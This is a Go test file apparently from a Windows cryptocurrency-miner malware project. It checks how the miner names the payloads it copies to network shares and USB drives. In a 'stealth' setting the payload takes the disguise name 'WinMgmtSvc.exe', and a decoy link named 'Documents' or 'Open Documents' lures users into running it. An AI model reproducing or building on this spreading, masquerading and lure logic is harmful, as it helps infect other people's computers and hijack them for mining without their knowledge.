//go:build windows

package deploy

import (
	"os"
	"path/filepath"
	"testing"

	"crypto-miner-agent/config"
)

func TestSharePayloadName(t *testing.T) {
	cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
		WorkerName:  "worker alpha",
		StealthMode: false,
	}}
	if got := sharePayloadName(cfg); got != "worker-alpha.exe" {
		t.Fatalf("got %q", got)
	}

	cfg.StealthMode = true
	if got := sharePayloadName(cfg); got != "WinMgmtSvc.exe" {
		t.Fatalf("stealth: got %q", got)
	}
}

func TestUsbPayloadNameNonStealth(t *testing.T) {
	cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
		WorkerName:  "sync agent",
		StealthMode: false,
	}}
	if got := usbPayloadName(cfg); got != "sync-agent.exe" {
		t.Fatalf("got %q", got)
	}
}

func TestPickLinkName(t *testing.T) {
	root := t.TempDir()
	if err := os.Mkdir(filepath.Join(root, "Documents"), 0755); err != nil {
		t.Fatal(err)
	}
	if got := pickLinkName(root); got != "Documents" {
		t.Fatalf("got %q want Documents", got)
	}

	empty := t.TempDir()
	if got := pickLinkName(empty); got != "Open Documents" {
		t.Fatalf("empty drive: got %q", got)
	}
}
